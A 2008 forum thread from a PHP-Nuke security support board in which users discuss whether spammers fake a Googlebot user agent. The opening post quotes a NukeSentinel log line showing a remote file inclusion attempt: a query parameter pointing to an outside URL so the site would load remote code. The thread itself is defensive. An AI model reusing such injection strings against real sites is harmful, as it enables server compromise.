Ravens PHP Scripts: Forums
 

 
  Forum Index  •  Forum FAQ  •  Search  •  Memberlist  •  Usergroups  •  Profile  •  Log in to check your private messages  •  Log in

Are spammers able to "fake" their user agent?
 View next topic
View previous topic
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Ravens PHP Scripts And Web Hosting Forum Index -> NukeSentinel(tm) v2.4.x
Author Message
Nash
Regular
Regular



Joined: Jan 10, 2006
Posts: 93
PostPosted: Sat Feb 09, 2008 4:01 pm Reply with quote
Sentinel again caught Googlebot. Looks like it was trying to run malicious code.

I suspect that either a hacker/spammer was faking user agent as Googlebot/2.0 or a hack/spammer placed a link to this code that Google then crawled.

71.253.62.11 User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
User Agent: Googlebot/2.0 (http://www.googlebot.com/bot.html)

Query String: www.eastco astbodybo arding.com/modules.php?name=h t tp://zaperyan1918moon.chat.ru/html/aboutme?

[spaces added b/c it was getting blocked]

_________________
--- Nash
--- RN 7.6 v 2.02
--- GTNG installed
--- IPB forum installed and modded for Nuke 
View user's profile Send private message
Gremmie
Former Moderator in Good Standing



Joined: Apr 06, 2006
Posts: 2415
Location: Iowa, USA
PostPosted: Sat Feb 09, 2008 4:56 pm Reply with quote
Yes, the user agent is easy to spoof.

_________________
Only registered users can see links on this board! Get registered or login! - An Event Calendar for PHP-Nuke
Only registered users can see links on this board! Get registered or login! - A Google Maps Nuke Module 
View user's profile Send private message
evaders99
Former Moderator in Good Standing



Joined: Apr 30, 2004
Posts: 3221
PostPosted: Sun Feb 10, 2008 9:14 pm Reply with quote
Yep. Too easily spoofed.
That IP goes to someone using Verizon Smile

_________________
- Only registered users can see links on this board! Get registered or login! -

Need help? Only registered users can see links on this board! Get registered or login! 
View user's profile Send private message Visit poster's website
Susann
Moderator



Joined: Dec 19, 2004
Posts: 3191
Location: Germany:Moderator German NukeSentinel Support
PostPosted: Mon Feb 11, 2008 4:11 am Reply with quote
Its not only the UA real spammers don´t use normally their own IP address. There are enough, different services available to hidde the own IP address.
Also its cool and a kind of trend to fake the user agent.
 
View user's profile Send private message
Display posts from previous:       
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    Ravens PHP Scripts And Web Hosting Forum Index -> NukeSentinel(tm) v2.4.x


 Jump to:   




View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2007 phpBB Group
All times are GMT - 6 Hours
 
Forums ©